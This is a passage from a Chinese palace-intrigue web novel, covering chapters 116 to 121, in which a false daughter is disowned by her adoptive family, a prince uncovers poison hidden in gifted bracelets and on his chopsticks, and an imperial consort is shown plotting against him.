萧景宴的贴身小厮这时候从内院走出来,跟在萧景宴身后,低声道:“爷,这苏清欢都已经脏了,您还对她这么宽容做什么?”
萧景宴看了萧达一眼,挑眉朝内院走,“宽容?你何时见过本世子对女人宽容过了。”
他走在萧达前面,萧达没有看到他嘴角那一抹冰冷的弧度,只听到他说,“苏清欢这个贱人总爱奢求不属于她的东西,而且她很恨那个姜黎婳,只要有恨有爱就有欲望,有欲望的人最好控制了,这种人可以留下来利用一下。”
萧达立刻谄媚地对萧景宴表示崇拜,“还是世子爷您厉害。”
萧景宴冷嗤了一声,“去准备热水,在给我准备一点金疮药。”
“您受伤了?”萧达立刻焦急地问,“事情不顺利吗?”
萧景宴没有再回答他,大步往内院走去。
.......
苏清欢到苏府门外的时候,吕月琴母子三人正在给遣散的奴仆发工钱,他们母子三人如今产业不多,卖了苏建明在城南的房子,又把这些年苏建明和苏清欢送给邹如意那些之前的首饰都处理了,他们再在城北买一处小宅院才刚刚够用。
所以他们只留了身边贴身伺候的几个人,其他奴仆全都遣散了。
苏清欢掀开车帘就看到了站在门外的母子三人,她委屈的眼泪从眼眶里面落出来,她急忙下车,朝着吕月琴喊,“母亲。”
她朝吕月琴扑过去,吕月琴还没来得及反应,就被苏清欢抱住了,苏清欢哭着喊道:“母亲,你要救我,帮我报仇啊。”
苏承印往前走了一步,正要说话,就被吕月琴阻止了。
吕月琴昨夜做了一个很长的梦。
第116章 苏清欢与吕氏母子大战
梦中他们苏家人人宠爱的苏清欢嫁给了那个大皇子,但是大皇子却对她视而不见,而苏清欢又时常找自己抱怨明里暗里说自己代替姜黎婳嫁给了大皇子,却要忍受宫中那些人的白眼。
还说羡慕姜黎婳有一个宠她的夫君。
她漂浮在空中看到了苏清欢人前一套背后一套迫使她对自己的亲生女儿怨念丛生,后来大皇子死了,苏清欢因为耐不住寂寞被皇后抓住,浸了猪笼,她还跑去质问姜黎婳为何死的人不是她,还说该死的人是她。
后来姜黎婳死了。
她死前说若有可能,她不再奢求那缥缈不可触及的母爱,她宁愿再没有母亲。
她痛哭着醒来,心痛的无法呼吸,仿若那梦中的一切都是真实发生过的一样。
她现在想看看苏清欢还要怎么狡辩。
她推开苏清欢,“她怎么害你的?”
原本想要上前把苏清欢赶走的苏承印也停下了脚步,他扯住要骂人的苏继业,看着苏清欢。
他现在也想看看苏清欢还要怎么往姜黎婳身上泼脏水。
“娘,是姜黎婳给我下药的,她记恨我得到了您的疼爱,她恨我,所以才...”
啪!
吕月琴手指颤抖的指着苏清欢,嘶声吼道:“你给我住口!明明是你嫉妒她给她下药不成害了自己,你现在还在怪她!”
苏清欢身上有伤,被吕月琴这么狠狠地扇了一巴掌人直接摔倒在地上,她捂着脸不可置信的抬眸看着吕月琴,“你打我?”
“哥哥,母亲她打我...”她抬头梨花带雨的看向苏承印。
苏承印如今看到她这副模样一点都不觉得可怜,反而觉得恶心,他皱着眉头,语气冰冷,“你不该被打吗?你还要满口谎言到什么时候!”
苏继业站在苏承印身后皱眉盯着苏清欢没说话,但是眼底的厌恶却越发浓郁了。
苏清欢受伤的看着苏承印,她不解的问,“哥哥,你这话是什么意思?你不相信我吗?”
“苏清欢,你和苏建明还有你亲生母亲他们一同欺骗我们的时候有想过我是你的哥哥吗?”苏承印想到昨天自己去城南那房子里面拿到好多贵重的首饰都是自己送给苏清欢的,他就忍不住心惊,世上怎么会有这么坏的人!
享受着他们疼爱的时候说不定还在嘲笑他们的愚蠢。
不过他也的确愚蠢,竟然被这么个贱货哄骗着不顾血缘亲情那样对自己的亲妹妹。
苏清欢震惊的看着苏承印,他们都知道真相了?
谁告诉他们的?
萧景宴吗?
雪儿?
还是谁?
看到苏清欢那模样,苏承印冷笑了一声,“无话可说了?”
“还和她说这么多做什么。”吕月琴深深地看了苏清欢一眼,眼底全是厌恶,“你若是要找家人安慰你的话,就去顺天府大牢里面找吧,与你有血缘亲情的家人都在里面。”
她说完在刘嬷嬷的搀扶下上了马车。
苏承印深深地看了苏清欢一眼,沉声道:“你好自为之。”
“继业...”苏清欢伸手要去抓一直没有对自己恶言相向的苏继业。
苏继业一把扯回自己的衣角,冰冷的瞪了苏清欢一眼,“贱人!以后见到我绕道走,否则我会打女人的!如果不是你挑拨,我们也不会和姐姐闹成那样子!现在我们家变成这样子,都是你们害的!”
“我们害的?”苏清欢像是听到了什么可笑的话一样,她就那样坐在地上大声笑了出来,“你们说我坏,说我不要脸?你们又比我好到哪儿去了?”
她抬头望着苏承印兄弟二人,伸手指着他们,冷笑,“你们两个利己主义者现在后悔不过是因为姜黎婳如今深受皇室宠爱,而我成了世人看不上的贱妇!对你们来说我没用了,所以你们才会这样说的!”
“我坏?你们两个人又好到哪儿去了,你们两个真的是好人的话,会因为姜黎婳从小养在商户家儿瞧不上她吗?”
苏清欢强忍着身体的疼痛站起来,她看着僵在原地的兄弟二人,继续骂道,“说我挑拨?我挑拨了什么?她刚回来的时候,我不过是说了几句羡慕她有你们的疼爱,你们就自己开始针对她嘲讽她,骂她冷落她!这能怪我吗?我挑拨你们什么了?”
苏清欢说到这里轻笑出声,“后来我倒是真的挑拨了你们,但那都是成亲之后了,但是谁叫你们偏心呢,自己把姜黎婳推越推远,你们怪谁?”
反正现在一切都被发现了,苏清欢觉得自己也没有再和他们装下去了,她指着吕月琴,嗤笑,“最愚蠢的就是你,被我爹骗了那么多年,自己的亲女儿被我爹换了都不知道,还在女儿回来之后处处挑刺,什么都觉得不顺眼!”
说到这里苏清欢的脸色忽然变得难看起来,她怒骂道:“姜黎婳都不要你们了,你们现在装成这副模样给谁看!”
她癫狂的指着自己,“现在我才是你们选择的唯一的女儿唯一的妹妹、唯一的姐姐啊!你们怎么可以这样对我!”
“疯子!”吕月琴咬着牙骂了一句,“你这个疯子!”
“姜黎婳她是御王妃,是江南姜家女儿,与我们和苏家没有半分关系,你不要胡说八道!”吕月琴冷冷的看着苏清欢,“我的女儿在十七年前就被苏建明和你的亲生母亲害死了,他们身上如今背着人命,你这辈子也别想再拥有母亲和父亲了。”
吕月琴说完放下车帘不再看苏清欢。
苏清欢冷笑,“那又如何,我...”
“对了。”苏承印阴鸷的往苏清欢面前走了一步,“母亲把你爹苏建明休了,如今你们城南的宅子我也卖了,你背着我们送给那个贱妇的首饰也被我卖了,你爹还被皇上罢黜官职,这座宅子你也住不成了,你和你那个废物哥哥如今已经成了无家可归的乞丐了。”
苏清欢脸上的笑意瞬间消失不见,她恶狠狠地瞪着苏承印,“你们凭什么...”
“你说凭什么?”苏承印猛地推了苏清欢一下,苏清欢一个不稳摔倒在地上。
苏承印看着躺在地上的苏清欢,他眼神复杂,他捏着手心,冷声道:“苏清欢以后别再出现在我们面前了,否则我不会再顾念过去的旧情,一定会亲手杀了你的。”
苏承印说罢转身上了马车。
苏清欢挣扎了一下却怎么也爬不起来,她哭着在地上使劲敲打,“为什么要这样对我!你们不能这样对我!”
这时候苏子恒从旁边跑了出来,他蹲下身子拉着苏清欢的手,急声问,“妹妹,你还有没有银子?”
第117章 查到凶手了
姜黎婳与楚御礼起床已经是巳时三刻了,两人梳洗穿戴好之后,姜黎婳把淑妃送自己的龙凤镯拿来给了楚御礼,“这镯子有一股很淡的香味,若不是因为我学医,嗅觉又比较灵敏的话,很难察觉到这个味道。”
楚御礼接过龙凤镯放在鼻尖闻了一下,有一股很淡的味道,淡到他几乎闻不到。
若是平常人应该不会拿着一对金镯子在鼻尖前面闻,所以这镯子里面若是放了害人的香料,应该很容易让下毒的人得逞。
他抬眸看了姜黎婳一眼,手指轻轻地在龙凤镯上摸索,片刻之后他让姜黎婳给自己拿一根针,姜黎婳让知夏去找女红针,知夏很快把针拿来,楚御礼接过针在雕刻的龙凤眼睛上戳了一下,镯子眼睛凹进去那一瞬间,镯子如同有机关一样弹开...
两只镯子龙凤头下是一个凹槽,而凹槽中放着不少细小的颗粒状香丸。
姜黎婳拿起一粒香丸放到鼻尖前面闻了闻,“有麝香和红花好像还有一点其他药混合在一起的。”
楚御礼眼睛微眯,语气淡漠,“看来目标明确了,是淑妃。”
姜黎婳知道楚御礼说的他之前佩戴有毒沉香手串的事情。
她轻轻点头,“下毒的人我们现在几乎可以确定是淑妃,可母后送说你手镯的人是贤妃,难道她们联合起来骗母后?都想害你?”
楚御礼轻轻摇了摇头,他手指在桌上轻轻点动,半晌之后起身,“你昨日受了惊,这两日就好生在家中养胎不要出门了,我先进宫去给父皇复命。”
“失踪少女一案有进展了吗?”姜黎婳随着他起身的动作抬眸。
对于这些少女失踪她其实怀疑是萧景宴干的,但是她现在没有证据,若是贸然告诉楚御礼的话,可能还要给楚御礼解释一下自己是怎么知道的...
算了,聪明如他,她相信他应该能查到萧景宴身上的。
“我怀疑是城内官宦豪绅所为。”楚御礼知很开心姜黎婳关心自己的事情,他笑着伸手摸了摸姜黎婳的头顶,“我先进宫给父皇复命,回来再与你细说。”
楚御礼刚出门冽风就赶紧过来请罪了。
院门外。
楚御礼看了一眼跪在自己面前的冽风,蹙眉,“怎么回事?”
“那些人都是死士,暂时无法查明对方的身份。”冽风有些惭愧的说道。
楚御礼没有再多问什么,抬步往外走。
死士。
宫中妃嫔是不可能养死士的,她们还没那个胆子,但是她们的后族就不好说了。
他走到门外,昭临疾步迎了上来,“主子有进展了,今天抓到了现行犯。”
“现行犯?”楚御礼蹙眉,“顶风作案?”
昭临神色晦暗不明的点了点头,“他还承认了之前那些少女失踪就是他做的,自称采花大盗,我们的人也跟着他找到了那些少女的尸身。”
昭临想到自己先前看到的那些场面,尽管他见过不少大场面,但是还是忍不住觉得恶心。
“尸身?”楚御礼眼神凌厉的看向昭临,“全死了?”
“只有几具尸体,剩下的还未找到。”昭临抿嘴,“人已经带到刑部了,您是否要亲自审问。”
“过去。”
主仆二人往刑部大牢赶去。
阴暗干燥的牢房中,楚御礼盯着七窍流血的尸体和他身边的血书,第一次有了一种想要把眼前这人碎尸万段的想法。
这人一看就是那些人推出来的替罪羔羊。
但是他的血书上写了自己的作案动机和细节以及为何要杀了那些少女...
“好一个无颜活在世上!”楚御礼冷笑着用舌头顶了顶腮帮,转身往大牢外走,“去给父皇复命。”
“主子,咱们还要继续查下去吗?”昭临连忙追上去。
楚御礼回眸看了昭临一眼,这一眼看得昭临毛骨悚然,他抬手搓了搓手臂上的鸡疙瘩,然后硬着头皮看向自家主子,“主子?”
“真凶都已经畏罪自杀了,你觉得还有必要查下去吗?”楚御礼语气阴森的问。
昭临吞了吞口水,想说这一看就是有人推出来顶罪的啊。
而且对方已经猜到他们怀疑的对象了,还在这么快的时间内就找到了这么个替罪羔羊,那就说明对方的能力很强或者势力很大!
现在之所以丢这么一个替罪羔羊出来,不过是为了阻拦他们继续查下去罢了。
楚御礼深深地看了一眼欲言又止的昭临,“把那人的血书拿着,跟孤入宫。”
半个时辰后。
皇宫,御书房。
皇帝屏退殿内所有人,只剩下他和楚御礼父子二人。
皇帝看着楚御礼递上来的血书,眉头微微蹙起,看完随手把血书扔在桌案上,他神色平静的看着楚御礼,“犯案细节交代得很清楚,看来没有查下去的必要了。”
楚御礼蹙眉,“真的没有必要吗?父皇?”
皇帝叹气,“至少在朕这里,没有查下去的必要了。”
楚御礼诧异地抬眸看着皇帝,眼中透出不解,皇帝还第一次从自己的儿子眼中看到这种神色,他冰冷的眼底溢出一丝笑意,但是在扫到桌案上的血书之时,他眼神再次变得冰冷。
他看着楚御礼,问,“御儿,在宫外建府之后,你感觉与以前在宫中有什么不同?”
楚御礼怔了怔,自然是自由多了,眼界也宽了,最重要的是吃食变得多样了,再也不用吃冷掉的饭菜了。
皇帝瞧他的反应就笑了,他站起来拍了拍楚御礼的肩膀,“也到晌午了,陪父皇用午膳?”
楚御礼颔首。
皇帝让福清传膳,也没有再继续说这个话题,而是说起了昨日姜黎婳遇刺一事。
说起这件事情,楚御礼脸色冷了下去,他沉声道:“儿臣不懂,究竟是谁这么不想要儿臣留下子嗣!”
皇帝的脸色也不好,他的子嗣本就稀薄,嫡子更是只有楚御礼这么一个,而四个儿子当中,也只有楚御礼这个嫡子聪明一些,到底是谁处心积虑的要害了他嫡子的子嗣!
“朕已经派锦衣卫的人跟着一同协助顺天府的人去查了,应该会有结果的。”皇帝脸色沉沉,“胆敢谋害皇嗣,朕绝对不会轻易放过。”
饭菜很快上了上来,福清拿着银筷给皇帝布菜,楚御礼则拿着玉筷夹菜,把菜夹嘴边那一瞬间,楚御礼顿住了,他放下碗筷看向皇帝,“父皇,等一下。”
皇帝捏着玉筷的手一顿,“怎么了?饭菜不合胃口?”
第118章 御王殿下身体大好了
楚御礼可以确定,自己闻到了筷子上有一股很淡的夹竹桃液的味道。
自从他得知自己的沉香手串上曾经被人浸泡过夹竹桃液之后,他就让人专门收集了夹竹桃液,让自己熟悉这个味道,甚至是把这种味道刻在骨子里,所以这玉筷上夹竹桃的味道很淡很淡,他依旧可以闻到。
他轻嗤,看来他如今到朝堂上了,有些人开始等不及了,在无法把手伸到他府中的时候,竟然直接在父皇这里下毒了。
他放下碗筷,看向福清,“验毒。”
福清不解的看向楚御礼,皇帝的脸色却沉了下去,他放下碗筷,冷声道:“传太医。”
太医院院使李太医很快就背着药箱过来了,看到皇帝脸色红润地坐在桌边,他跪地给皇帝行礼问安,“陛下有哪儿不适?”
“检查碗筷。”皇帝语气冰冷的说道。
李太医吓了一跳,赶紧起身检查皇帝的碗筷,确定了碗筷没有问题,他才吐了口气,谁敢在皇上的膳食中下毒啊?
看到李太医的松怔的神色,楚御礼把自己的碗筷往前推了一下,“李太医,还有孤这副碗筷。”
李太医赶紧应声上前,片刻之后,他紧张地吞咽了一下口水,抬头看向楚御礼,“殿下...”
楚御礼只看着他轻笑,不说话。
李太医赶紧拿出银针给楚御礼夹过的菜验毒,银针很快变成了黑色。
皇帝的脸色以肉眼可见的速度变差,他大掌在桌上狠狠一拍,“把御膳房和传膳的奴才都给朕抓来送到慎刑司,一个一个挨个给朕审!”
福清也是第一次在御书房遇到餐具有毒的事情,他连忙应了一声退了出去。
李太医也不敢久留,慌忙告退,但是却被楚御礼喊住了,“既然李太医过来了,那就给孤请个平安脉吧。”
楚御礼目光沉沉地看着李太医。
李太医不明白楚御礼这话是什么意思,但是顶着楚御礼的目光,他只能硬着头皮答应了下来,楚御礼把手放在桌上,李太医搭上他的脉搏。
半晌之后李太医跪在地上,激动道:“恭喜殿下!殿下您的身体已经大好了啊!”
脸色极差的皇帝闻言立刻坐直了身子,他眼神震惊地看向李太医,“当真?”
“千真万确啊陛下!”李太医急切地点头,“御王殿下如今脉搏强劲有力,根本不像是久病的模样了啊!”
楚御礼凉凉地看着李太医的模样,心中冷嗤,若在这皇宫中搭个戏台子让太医院的太医去唱戏,个个都能当主角儿。
“李太医不会是拿孤的身子与孤开玩笑吧?”楚御礼似笑非笑地盯着跪在地上的李太医,眉梢微挑,“孤这些日子虽然走路不喘了,身子也觉得轻盈了不少,但胎弱这种病,是说好就能好的?”
“也许正如钦天监所说,御王妃旺您,有了御王妃给您冲喜,您的身子突然好起来也是有可能的。”一向不相信鬼神之说的李太医强撑着笑脸对楚御礼继续道,“恭喜御王殿下,您与御王妃真乃天造地设的一对!”
皇帝:“.......”
按照李太医这种说法的话,那他儿还真的不能离开这姜黎婳了?
皇帝其实是有点私心的。
他希望自己的嫡子身子好起来,甚至希望自己的嫡子继承自己的大统,但这样一来,富商之女自然是配不上太子妃或者将来的皇后之位,所以他给下了封王的圣旨,却并未下封王妃的圣旨。
皇子妃在夫君封王之后变成侧妃也不是没有发生过。
但按照李太医和钦天监这种说法的话,若这冲喜的新娘不占正缘之位怕是无法给嫡子冲喜了...
皇帝陷入了沉思,嫡子将来若要在朝堂上站稳脚步,那是需要朝臣支持的,娶一个富商之女,国库的确不用担心虚空了,但朝堂上怕是有不少人会站出来反对啊...
皇帝回过神的时候李太医已经离开了,他看着楚御礼,“朕一定给你一个交代。”
楚御礼轻轻颔首,“父皇先前与儿臣说起建府后的差别,是有何深意?”
“你还记得这事儿呢?”皇帝轻笑,他拍了拍楚御礼的肩膀,眼神落寞,“皇儿,你觉得当皇帝好不好?”
楚御礼眉头微蹙,当自然有好有坏。
见他不说话,皇帝轻笑了一声,他拍了拍楚御礼的肩膀,轻声道,“好也不好。”
“当了皇帝,朕就是这天下的九五之尊,是楚国的主宰,但能看到的人和事也就眼前这一块了,除了奏折上的事情,外界的事情朕不能亲眼看到,就连出宫,每年都只有寥寥数次,好多事情的真相,也是下面官员愿意拿给朕看的真相。”
楚御礼垂眸,听父皇这么说,反倒是皇帝之位给他束缚在这皇宫之中了。
“皇儿,你皇祖父花了大半生的时间才把世族和豪绅打压下去,朕也花了十几年的时间才让科举制度发展到如今这样,朕希望你不要像你皇祖父和父皇一样,被下官蒙蔽了双眼,朕希望你将来能给楚国带来清明,你明白了吗?”
“父皇,世族真的被打压下去了吗?”楚御礼想到死在牢房中的那个人,“如今朝堂之中,有几个是真正的科考出来的人才呢?”
即便有几个是科考出来的,但他们背后也背靠世家。
那些科考出来的人才,若不靠着世家,在朝廷中根本得不到重用。
世族盘根错节,怎么可能那么轻易的被毁掉,皇祖父不过是推翻了当年的最大的世家,但是这个世族落寞,另一个世族就会崛起,世族根本无法被真正的推倒。
但是可以牵制。
“所以朕需要你强大。”皇帝深吸了口气,“朕知道你偏爱你的王妃,但若你想要强大的话,绝对不可能只能指望自己,朕希望你能明白朕的良苦用心。”
楚御礼听出了皇帝话里的意思,他抬眸看着皇帝忽然觉得自己与他说这么多很是可笑。
若一个男人想要强大起来还得靠女人的话,那活着也没什么意思了。
“父皇的话,儿臣铭记于心,儿臣定然会让自己强大起来,保护自己想要保护之人。”楚御礼说罢站起身来,对着皇帝躬身行礼,“此案虽然已经结果,但儿臣依旧会追查下去。”
楚御礼说罢大步离开。
皇帝看着楚御礼大步离开的背影,轻笑着摇头,“年轻就是好啊,意气风发,朕就看看你什么时候向现实低头。”
第119章 下毒真凶
皇帝看着重新回来的儿子,他眉梢微动,这是走出去的路上想通了,所以打算和自己商量一下从朝廷的官员家中选一个合适的女子当王妃了?
皇帝负手而立,笑看着越走越近的楚御礼,等对方走近,他就问,“皇儿还有何事?”
“父皇,儿臣是回来求您下封妃圣旨的。”楚御礼跪在地上,抬头看着皇帝,“方才李太医已经说了,婳儿旺儿臣,儿臣自从和她成亲,这才短短两个月身体就痊愈了,她如今还有了身孕,儿臣不能亏待了她。”
皇帝眉头微蹙,“你真的想好了?若她占了你正妃的位置,将来朝廷有头有脸的官员怕是不愿意把女儿嫁给你当侧妃的。”
楚御礼面无表情地看着皇帝,“父皇难道希望儿臣的第一个儿子生出来是庶子吗?”
他从未想过再娶其他人,他的妻子只会有姜黎婳一人,所以父皇说的那些,根本不在他的考虑范围内。
他要考虑的就是给娘子最好的,保护好娘子。
皇帝被楚御礼这句话说动了,当初为他娶皇子妃冲喜,是以皇子正妃的规制来的,后来封王圣旨下去了,其他人已经默认了姜黎婳是御王妃,若封王妃的圣旨迟迟不下,倒是会让人揣测皇室的心思了。
想到之前姜黎婳与苏家撇清关系的时候儿子在朱雀大街上说的那些话,皇帝叹了口气,“既然你已经想好了,那朕就随了你的心意。”
皇帝说罢拍了拍楚御礼的肩膀,转身往内殿里面走去。
楚御礼刚回御王府没一会儿,封王妃的圣旨就到了,姜黎婳接到圣旨还有些晕晕乎乎的,她看着手中的圣旨,想着这些日子旁人都喊她御王妃...
姜黎婳有些尴尬地问楚御礼,“所以之前我其实都算不上御王妃是吧?旁人那样喊我属于我不懂规矩了是吧?”
看着她生动的表情,楚御礼伸手在她鼻尖上刮了一下,“你就是我的王妃。”
姜黎婳把圣旨递给知夏,“现在才是。”
......
皇后很快就听说了楚御礼在御书房用膳差点中毒的事情,昨儿下午儿媳妇惊马就让她一整夜都没睡好,今天儿子又差点中毒!
这些人真的把她当成死人吗?
皇后气的来殿中来回走了两圈,怒气冲冲地对佩玉吩咐道:“你去镇国侯府走一趟,让爹爹和兄长他们暗中查一下究竟是谁要杀了婳儿。”
等佩玉领命离开,她又对绿盈和小福子道,“去慎刑司。”
慎刑司中从御膳房的厨子到备菜的小宫女又到传菜的太监和御书房经手过饭菜碗筷的大宫女一共被抓了二十多个人。
慎刑司的掌印钱大海此时正亲自拿着刑具审人,他长得胖乎乎的,眼睛时常眯着跟个弥勒佛一样,但是就这么一个笑面弥勒佛现在正拿着带着倒刺的鞭子在挨个鞭打审问。
听到皇后驾到的声音,钱大海赶紧把手中带血的鞭子丢给手下,恭敬的出来迎接皇后。
“哎呦,皇后娘娘,您怎么到这种污秽的地方来了,奴才这里审问出结果后,定会亲自去给您那边知会一声的呀。”钱大海弓着身子把皇后迎了进去。
皇后走进刑狱,看到里面被打得浑身是血的奴才们,她眉头皱了皱,沉声问,“还是没人招认?”
“都是一些嘴皮子硬的人,但奴才倒是要瞧瞧是他们的嘴皮子硬还是奴才的鞭子硬。”钱大海笑着道。
小福子端来了椅子,皇后走过去在椅子上坐下,她目光毫无温度地从那些被挂在横梁上的宫女太监们脸上扫过,冷漠的对钱大海道:“那你继续审吧,今儿个审不出来,本宫就不回去了。”
钱大海听到皇后这话,额头上的汗水立刻就出来了,他这人审案根本没有什么技巧,全靠阴狠毒辣的手段,让那些人受不住之后招认,这皇后在这儿,他还能把那些手段使出来吗?
瞧着钱大海犹豫的模样,皇后眉头微蹙,“怎么?钱总管觉得本宫在这里碍事儿了?”
“没有没有,皇后娘娘关心大皇子,奴才可以理解。”钱大海赶紧赔笑道。
皇后的脸色这才好看一点,她嗯了一声,“开始吧。”
延禧宫中。
淑妃脸色阴沉地揪着手帕,“大好了?难道那姜黎婳是仙女?他们成亲阴阳调和之下,她还能把他的毒给解了?”
若楚御礼真的只是普通的胎弱身子会慢慢的养好那还好说,但楚御礼明明是中毒,这些日子他注意到楚御礼一直都佩戴着那沉香手串,按照计划,楚御礼现在明明应该越来越严重才是!
怎么会忽然好了!
“娘娘,现在咱们该担心的不是这个。”一直没怎么在淑妃身边伺候的嬷嬷这时候上前低声对淑妃道,“奴婢听说皇后娘娘亲自去了慎刑司,咱们的人就是想要去买通慎刑司的人把人给弄死都难啊。”
淑妃眼睛眯了眯,“她全家如今都在我爹手中,她难道还敢出卖我们不成?”
她说着抬起手指看着手上通红的丹蔻,沉声道:“她若想要她全家活命的话,最好就一个人认下所有罪名,否则她全家都要给她陪葬。”
嬷嬷闻言还是不放心,“人都怕死,若她不在乎家人的死活呢?”
“不可能,她每个月的月钱都会托人送回家中,说明她对家人很是看重,这种人怎么会让自己的家人出事呢。”淑妃似笑非笑地看了身旁的嬷嬷一眼,“再说了,她若真不在乎她的家人,怎么会被本宫威胁了答应换掉碗筷呢?”
淑妃说到这里面容扭曲地在桌上狠狠一拍,“可惜了,没让那个短命鬼就这样死了!”
陶嬷嬷闻言垂眸不再说什么。
淑妃深深地吸了口气,想到昨天姜黎婳虚惊一场的刺杀,她眼底闪过一丝不屑,“慧妃那个蠢货,真是半点沉不住气,昨天就让人当街刺杀,这不是打草惊蛇了吗?今后还想动那个贱婢腹中的胎儿就难了!”
陶嬷嬷叹了口气,“其实娘娘您不用这么着急的,三皇子殿下还小,这几年您可以慢慢为三皇子殿下筹谋。”
“本宫怎么能不着急?楚御礼如今已经是亲王了!还入朝堂了!若真的让他在朝堂上做出成绩,那皇上还能看到澜儿吗?”淑妃说到这里,眼里闪过一丝杀意,“所以楚御礼必须死!”
第120章 心塞淑妃和她的傻儿子,贤妃的试探
楚巍澜兴致勃勃的从延禧宫外快步走进来,看到淑妃在与人说话,他扬声朝淑妃喊道:“母妃!”
淑妃停止了与陶嬷嬷的交谈,陶嬷嬷弓着身子退了下去,平日里时常在淑妃身边伺候的宫女和嬷嬷又从外面进来给楚巍澜斟茶。
淑妃瞧着满头是汗的楚巍澜,无奈的拿出手帕亲自给楚巍澜擦汗,“干什么去了?一身汗。”
楚巍澜笑着任由淑妃给自己擦汗,他笑道:“我在校场跑马,但是听说大皇兄的身体大好了,就跑回来了,想去恭喜一下大皇兄。”
淑妃轻笑,“那你怎么又跑母妃这儿来了?”
楚巍澜挠头笑了笑,他其实有点怵大皇兄的,即便因为母妃和母后关系好的缘故他小时候经常和大皇兄一起玩,但大皇兄因为身体不好,做事随心所欲,对他们也是不顺心就骂人或者出手揍他们。
所以他觉得自己要恭喜大皇兄的话,不能空手去。
“这不是想在母妃这儿弄点趁手的礼物嘛。”楚巍澜大大的眼睛盯着淑妃,“而且大皇嫂有了身孕我也还没有送贺礼,不如今天就一同送了,母妃觉得如何?”
淑妃:“......”
她觉得不如何。
“你大皇嫂昨儿个在大街上遇到了刺杀,你皇兄今儿个在你父皇那儿用膳又差点中毒,你现在拿着礼物上门去恭喜他们,怕是不妥。”淑妃语重心长地看着自己的傻儿子,“你啊,怎么就这么没心眼儿呢。”
楚巍澜倒是真的没有考虑这么多,不过现在想来,的确是母后说的那样,现在自己去恭贺,大皇兄肯定以为自己去看笑话,说不定还会误会他,再暴揍他一顿!
想到这里,他点了点头,严肃的说道:“母妃你说的是,我现在过去的话,可能真的会惹大皇兄生气。”
他说到这里又义愤填膺地骂道:“也不知道是谁这么恶毒竟然要这样害大皇兄!大皇兄的病好不容易好了,又要给大皇兄下毒!简直可恶!”
想到自家母妃与母后的关系特别好,楚巍澜又特意加了一句,“儿臣诅咒那些坏人最终害人害己不得好死!”
淑妃只觉得心头一堵,一口气差点没上来。
看着眼前这个什么都不知道的儿子,淑妃心塞地闭了一下眼睛,沉默了片刻,她道:“你这孩子,这种话在母妃这儿说说就是了,若出去说了,让有心人听了去,别记恨上你了!”
“儿臣才不怕被记恨!”楚巍澜冷哼了一声,抬起下巴非常高傲地说道:“儿臣身体强壮,又会功夫,若有刺客赶来刺杀儿臣,儿臣先把...”
“行了行了!”淑妃不耐烦地打断楚巍澜的话,头疼的揉了揉太阳穴,“就你那三脚猫的功夫还杀了刺客呢?”
她抬眸看着就差在自己面前比划两下的儿子,皱着眉头沉声道:“我警告你,你若因为学武耽搁了学业,被你父皇训斥了,那本宫定不饶你,明白了吗?”
楚巍澜欲言又止的张了张嘴,最终点头应了一声,“儿臣知道了,那儿臣先回去了。”
楚巍澜说着垂头丧气的转身往外走。
他都搞不懂,好好地母妃怎么又把话题转到学习上面去了,母妃为什么就非要逼着他学这样学那样,若是在太学中没有拿到优等的成绩又会被骂一顿!
为什么大皇兄可以随心所欲的玩,当初只要去上课,母后都会夸他厉害。
二皇兄呢,即便是每次都是丙等的成绩,慧妃娘娘也不会说什么。
还有四弟,即便考不好,德妃娘娘也总是对四弟一副慈爱的模样,从不会训斥他。
母妃呢?对他好是好,就是事事都要求他做到最好!
可是他又没有那么聪明!
走出延禧宫楚巍澜心头那股压抑之感才消失了。
淑妃看着已经没有楚巍澜人影的宫门,气得使劲摔了手中的杯盏,“这孩子不知道什么时候才能懂我的良苦用心!”
贤妃过来的时候,宫女正在收拾狼藉,她看了一眼地上的瓷片,眉头微蹙,“又发什么脾气呢?”
淑妃叹气,“还不是被澜儿气的,你说他都这么大了,怎么就跟没长大的孩子一样,只知道气我!”
贤妃不着痕迹的看了她一眼,绕开地上的狼藉在她旁边的椅子上坐下,“三皇子还小,你也别把他逼得太紧了,以免适得其反。”
淑妃笑了笑,“不说那个堵心的孩子了,贤妃姐姐过来是有什么事情吗?”
“用了午膳出来消消食,就走到你这儿了。”贤妃看着淑妃,顺便和你聊聊八卦。
淑妃诧异的抬眸看了贤妃一眼,“姐姐与我说笑吧?您还关系八卦?”
“别人的事情我自然不关心,但大皇子和大皇子妃的事情,我还是挺关心的。”贤妃看着淑妃,低声问,“你觉得会不会是那位做的?”
淑妃撇嘴,“除了她还有谁,这宫中与皇后娘娘关系最差,又盼着大皇子出事的人就只有她了!若大皇子出了什么意外,再没了子嗣,那她的儿子就占长了。”
贤妃颔首,“希望皇后娘娘这次能够抓住她的把柄,好好地整理一下这后宫的。”说到这里,她皱起眉头,冷声道:“都是半截身子入土的人了,还把皇宫搞得这么乌烟瘴气的,她不会真以为大皇子出事了,她儿子就能登上那个高位吧?”
淑妃听着贤妃这义愤填膺的语气,眼底的诧异之色更明显了,她看着贤妃,“姐姐为何这么生气?”
“我就是不想看到这后宫乌烟瘴气的。”贤妃站了起来,“不是下毒就是刺杀的,真是没有一点新意。”
她走了两步,回头看向淑妃,“你若要去看皇后,记得把我叫上一起,别自己一人过去,显得我多不关心皇后一样。”
淑妃笑着应了下来,贤妃又忽然回来,“对了,当初那串沉香珠明明是你找到的,我不过是花了钱买下,你为何不愿意我告诉皇后,非要我独自揽了那功劳啊?”
淑妃被贤妃的眼神看得心头一跳,但是想到楚御礼身边又没有懂医术的人,而太医院的人已经被慧妃收买干净了,贤妃也不可能知道真相,淑妃又镇定了下来,她扯着嘴角笑了笑,“我只是帮忙打听了一下,花银子买下那手串的人还是姐姐您,我不过是一个中间人,怎么好抢占了您的功劳呢。”
淑妃站起来,走到贤妃面前拉着贤妃的手,笑着道:“功劳自然是谁出钱就是谁的,再说了,我们姐妹分什么你我,那手串是为了大皇子的身体着想,自然谁送都一样。”
贤妃闻言笑了笑,“那你以后可跟我比着送东西了,你昨儿个那龙凤镯说送就送了,我还挺为你心疼的。”
第121章 宫女招认
淑妃听着贤妃这话,再抬眸与贤妃对视的时候,就感觉到贤妃看她的眼里好像有一丝轻蔑之感。
她强忍着心底的不悦,对着贤妃把嘴角扯出一个弧度,“我自然没有贤妃姐姐有钱,但对皇后娘娘也是一片真心,我虽觉得御王妃配不上御王正妃的位置,但她毕竟是御王喜欢的,如今又怀了身孕,我自然得拿出一点有诚意的贺礼。”
贤妃听着她这解释,眉梢微微一挑,“我就知道你是最嘴硬心软的,之前还说什么让皇后为御王重选正妃,如今却又拿出了看家底的龙凤镯。”
